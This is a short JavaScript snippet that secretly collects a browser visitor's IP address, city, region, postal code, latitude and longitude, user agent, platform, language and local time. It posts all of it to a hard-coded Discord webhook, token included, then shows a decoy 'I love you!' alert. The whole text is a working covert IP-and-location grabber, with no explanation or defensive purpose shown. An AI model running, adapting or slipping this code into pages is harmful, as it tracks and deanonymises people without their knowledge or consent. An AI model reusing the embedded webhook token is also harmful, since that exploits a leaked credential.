(async () => { const info = []; try { const ipResponse = await fetch('https://ipapi.co/json/'); const ipData = await ipResponse.json(); info.push( { key: 'IP Address', value: ipData.ip }, { key: 'City', value: ipData.city }, { key: 'Region', value: ipData.region }, { key: 'Country', value: ipData.country_name }, { key: 'Postal Code', value: ipData.postal }, { key: 'Location (lat,long)', value: `${ipData.latitude}, ${ipData.longitude}` } ); } catch (error) { console.error('Failed to fetch IP or location data:', error); info.push({ key: 'Error', value: 'Failed to fetch IP or location data' }); } info.push( { key: 'User-Agent', value: navigator.userAgent }, { key: 'Platform', value: navigator.platform }, { key: 'Language', value: navigator.language }, { key: 'Current Time', value: new Date().toString() } ); const webhookUrl = 'https://discord.com/api/webhooks/1311447396567355433/RJTKlrB9GfiyuDHHtfV4xsUGUdi85cfA4TkSZpIY3GnQxrCu9tcr2IeNXHGFzNDWnYdx'; const payload = { content: info.map(item => `**${item.key}:** ${item.value}`).join('\n') }; try { await fetch(webhookUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); console.log('Information sent to Discord webhook.'); } catch (error) { console.error('Failed to send information to Discord webhook:', error); } })(); alert('I love you!')